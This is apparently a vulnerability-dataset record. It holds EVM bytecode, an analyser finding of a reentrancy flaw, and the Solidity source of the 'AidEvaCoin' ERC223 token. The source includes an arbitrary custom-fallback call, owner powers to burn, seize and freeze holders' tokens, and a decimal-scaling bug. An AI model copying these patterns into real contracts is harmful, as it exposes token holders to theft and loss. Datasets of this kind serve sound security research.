60208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9cbea8a618a160f1b679a83b5a7aa172cebe83034b92605941e912710b283ba64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,139
0x111877926446bc92ceea9edac12854e2aaa25eb2
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * 彡(^)(^) * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * 彡(゚)(゚) * @title AidEvaCoin * @author AidEvaCoin * @dev AidEvaCoin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract AidEvaCoin is ERC223, Ownable { using SafeMath for uint256; string public name = "AidEvaCoin"; string public symbol = "AIVA"; uint8 public decimals = 18; uint256 public totalSupply = 30e9 * 1e18; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function AidEvaCoin() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e18); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e18); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610176578063095ea7b31461020057806318160ddd1461022257806323b872dd14610247578063313ce5671461026f57806340c10f19146102985780634f25eced146102ba57806364ddc605146102cd57806370a082311461035c5780637d64bcb41461037b5780638da5cb5b1461038e57806394594625146103bd57806395d89b411461040e5780639dc29fac14610421578063a8f11eb914610145578063a9059cbb14610443578063b414d4b614610465578063be45fd6214610484578063c341b9f6146104e9578063cbbe974b1461053c578063d39b1d481461055b578063dd62ed3e14610571578063dd92459414610596578063f0dc417114610625578063f2fde38b146106b4578063f6368f8a146106d3575b61014d61077a565b005b341561015a57600080fd5b6101626108ef565b604051901515815260200160405180910390f35b341561018157600080fd5b6101896108f8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c55780820151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020b57600080fd5b610162600160a060020a03600435166024356109a0565b341561022d57600080fd5b610235610a0c565b60405190815260200160405180910390f35b341561025257600080fd5b610162600160a060020a0360043581169060243516604435610a12565b341561027a57600080fd5b610282610c21565b60405160ff909116815260200160405180910390f35b34156102a357600080fd5b610162600160a060020a0360043516602435610c2a565b34156102c557600080fd5b610235610d2c565b34156102d857600080fd5b61014d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d3295505050505050565b341561036757600080fd5b610235600160a060020a0360043516610e8c565b341561038657600080fd5b610162610ea7565b341561039957600080fd5b6103a1610f14565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f2392505050565b341561041957600080fd5b6101896111b5565b341561042c57600080fd5b61014d600160a060020a0360043516602435611228565b341561044e57600080fd5b610162600160a060020a0360043516602435611310565b341561047057600080fd5b610162600160a060020a03600435166113eb565b341561048f57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061140095505050505050565b34156104f457600080fd5b61014d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114cb9050565b341561054757600080fd5b610235600160a060020a03600435166115cd565b341561056657600080fd5b61014d6004356115df565b341561057c57600080fd5b610235600160a060020a03600435811690602435166115ff565b34156105a157600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061162a95505050505050565b341561063057600080fd5b6101626004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118e095505050505050565b34156106bf57600080fd5b61014d600160a060020a0360043516611bae565b34156106de57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4995505050505050565b60006006541180156107a85750600654600154600160a060020a031660009081526008602052604090205410155b80156107cd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156107f05750600160a060020a0333166000908152600b602052604090205442115b15156107fb57600080fd5b600034111561083857600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561083857600080fd5b600654600154600160a060020a03166000908152600860205260409020546108659163ffffffff611fa116565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108a39163ffffffff611fb316565b600160a060020a03338116600081815260086020526040908190209390935560015460065491939216916000805160206123ee83398151915291905190815260200160405180910390a3565b60075460ff1681565b6109006123db565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a2c5750600082115b8015610a515750600160a060020a038416600090815260086020526040902054829010155b8015610a845750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611fa116565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611fb316565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610bc5908363ffffffff611fa116565b600160a060020a03808616600081815260096020908152604080832033861684529091529081902093909355908516916000805160206123ee8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c4857600080fd5b60075460ff1615610c5857600080fd5b60008211610c6557600080fd5b600554610c78908363ffffffff611fb316565b600555600160a060020a038316600090815260086020526040902054610ca4908363ffffffff611fb316565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206123ee8339815191528460405190815260200160405180910390a350600192915050565b60065481565b60015460009033600160a060020a03908116911614610d5057600080fd5b60008351118015610d62575081518351145b1515610d6d57600080fd5b5060005b8251811015610e8757818181518110610d8657fe5b90602001906020020151600b6000858481518110610da057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dce57600080fd5b818181518110610dda57fe5b90602001906020020151600b6000858481518110610df457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e2457fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e6457fe5b9060200190602002015160405190815260200160405180910390a2600101610d71565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610ec557600080fd5b60075460ff1615610ed557600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f38575060008551115b8015610f5d5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f805750600160a060020a0333166000908152600b602052604090205442115b1515610f8b57600080fd5b610fa384670de0b6b3a764000063ffffffff611fc216565b9350610fb78551859063ffffffff611fc216565b600160a060020a03331660009081526008602052604090205490925082901015610fe057600080fd5b5060005b845181101561116857848181518110610ff957fe5b90602001906020020151600160a060020a03161580159061104e5750600a600086838151811061102557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110935750600b600086838151811061106557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561109e57600080fd5b6110e284600860008885815181106110b257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fb316565b600860008784815181106110f257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061112257fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123ee8339815191528660405190815260200160405180910390a3600101610fe4565b600160a060020a033316600090815260086020526040902054611191908363ffffffff611fa116565b33600160a060020a0316600090815260086020526040902055506001949350505050565b6111bd6123db565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b60015433600160a060020a0390811691161461124357600080fd5b60008111801561126c5750600160a060020a038216600090815260086020526040902054819010155b151561127757600080fd5b600160a060020a0382166000908152600860205260409020546112a0908263ffffffff611fa116565b600160a060020a0383166000908152600860205260409020556005546112cc908263ffffffff611fa116565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061131a6123db565b6000831180156113435750600160a060020a0333166000908152600a602052604090205460ff16155b80156113685750600160a060020a0384166000908152600a602052604090205460ff16155b801561138b5750600160a060020a0333166000908152600b602052604090205442115b80156113ae5750600160a060020a0384166000908152600b602052604090205442115b15156113b957600080fd5b6113c284611fed565b156113d9576113d2848483611ff5565b91506113e4565b6113d2848483612258565b5092915050565b600a6020526000908152604090205460ff1681565b6000808311801561142a5750600160a060020a0333166000908152600a602052604090205460ff16155b801561144f5750600160a060020a0384166000908152600a602052604090205460ff16155b80156114725750600160a060020a0333166000908152600b602052604090205442115b80156114955750600160a060020a0384166000908152600b602052604090205442115b15156114a057600080fd5b6114a984611fed565b156114c0576114b9848484611ff5565b9050610c1a565b6114b9848484612258565b60015460009033600160a060020a039081169116146114e957600080fd5b60008351116114f757600080fd5b5060005b8251811015610e875782818151811061151057fe5b90602001906020020151600160a060020a0316151561152e57600080fd5b81600a600085848151811061153f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061157d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016114fb565b600b6020526000908152604090205481565b60015433600160a060020a039081169116146115fa57600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b6000806000808551118015611640575083518551145b80156116655750600160a060020a0333166000908152600a602052604090205460ff16155b80156116885750600160a060020a0333166000908152600b602052604090205442115b151561169357600080fd5b5060009050805b84518110156117e95760008482815181106116b157fe5b906020019060200201511180156116e557508481815181106116cf57fe5b90602001906020020151600160a060020a031615155b80156117255750600a60008683815181106116fc57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561176a5750600b600086838151811061173c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561177557600080fd5b6117a3670de0b6b3a764000085838151811061178d57fe5b906020019060200201519063ffffffff611fc216565b8482815181106117af57fe5b602090810290910101526117df8482815181106117c857fe5b90602001906020020151839063ffffffff611fb316565b915060010161169a565b600160a060020a0333166000908152600860205260409020548290101561180f57600080fd5b5060005b84518110156111685761184584828151811061182b57fe5b90602001906020020151600860008885815181106110b257fe5b6008600087848151811061185557fe5b90602001906020020151600160a060020a031681526020810191909152604001